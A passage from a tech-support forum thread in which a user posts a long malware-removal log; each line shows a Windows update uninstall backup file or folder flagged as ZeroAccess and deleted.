    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570791$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570791$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570791$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2570791$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570791$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2570947$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570947$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570947$\reg00002 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570947$\reg00003 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570947$\reg00004 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570947$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570947$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570947$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570947$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2570947$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2584146$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2584146$\packager.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2584146$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2584146$\spuninst\spuninst.inf -> Deleted
     
  7. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2584146$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2584146$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2584146$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2585542$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2585542$\schannel.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2585542$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2585542$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2585542$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2585542$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2585542$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2585542$\winhttp.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2592799$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2592799$\afd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2592799$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2592799$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2592799$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2592799$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2592799$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2598479$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2598479$\mciseq.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2598479$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2598479$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2598479$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2598479$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2598479$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2598479$\winmm.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2603381$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2603381$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2603381$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2603381$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2603381$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2603381$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2603381$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2607712$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2607712$\crypt32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2607712$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2607712$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2607712$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2607712$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2607712$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2607712$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2616676$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2616676$\crypt32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2616676$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2616676$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2616676$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2616676$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2616676$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2616676$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2618451$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2618451$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2618451$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2618451$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2618451$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2618451$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2618451$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2619339$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2619339$\encdec.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2619339$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2619339$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2619339$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2619339$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2619339$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2620712$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2620712$\csrsrv.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2620712$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2620712$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2620712$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2620712$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2620712$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2621440$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2621440$\rdpwd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2621440$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2621440$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2621440$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2621440$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2621440$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2624667$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2624667$\ole32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2624667$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2624667$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2624667$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2624667$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2624667$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2631813$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2631813$\qdvd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2631813$\quartz.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2631813$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2631813$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2631813$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2631813$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2631813$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2633171$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633171$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2633171$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2633952$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633952$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633952$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633952$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633952$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633952$\spuninst\tzchange.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633952$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2633952$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2633952$\tzchange.exe -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2639417$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2639417$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2639417$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2639417$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2639417$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2639417$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2639417$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2641653$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641653$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641653$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641653$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641653$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2641653$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641653$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2641690$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641690$\crypt32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641690$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641690$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641690$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641690$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2641690$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2641690$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2646524$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2646524$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2646524$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2646524$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2646524$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2646524$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2646524$\winsrv.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2647518$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2647518$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2647518$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2647518$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2647518$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2647518$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2647518$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2653956$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2653956$\imagehlp.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2653956$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2653956$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2653956$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2653956$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2653956$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2653956$\wintrust.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2655992$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2655992$\schannel.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2655992$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2655992$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2655992$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2655992$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2655992$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2659262$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2659262$\spuninst\KB2659262.asms -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2659262$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2659262$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2659262$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2659262$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2659262$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2660465$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2660465$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2660465$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2660465$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2660465$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2660465$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2660465$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2661254-v2$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661254-v2$\crypt32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661254-v2$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661254-v2$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661254-v2$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661254-v2$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661254-v2$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2661254-v2$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2661637$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661637$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661637$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661637$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2661637$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2661637$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2676562$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2676562$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2676562$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2685939$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2685939$\rdpwd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2685939$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2685939$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2685939$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2685939$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2685939$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2686509$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2686509$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2686509$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2686509$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2686509$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2686509$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2691442$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2691442$\shell32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2691442$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2691442$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2691442$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2691442$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2691442$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2695962$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2695962$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2695962$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2695962$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2695962$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2695962$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2695962$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2698365$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2698365$\msado15.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2698365$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2698365$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2698365$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2698365$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2698365$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2705219$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2705219$\browser.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2705219$\netapi32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2705219$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2705219$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2705219$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2705219$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2705219$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2707511$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\ntkrnlmp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\ntkrnlpa.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\ntkrnlpa.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\ntkrpamp.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\ntoskrnl.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\ntoskrnl.exe.000 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2707511$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2707511$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2709162$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2709162$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2709162$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2709162$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2709162$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2709162$\spuninst -> Deleted

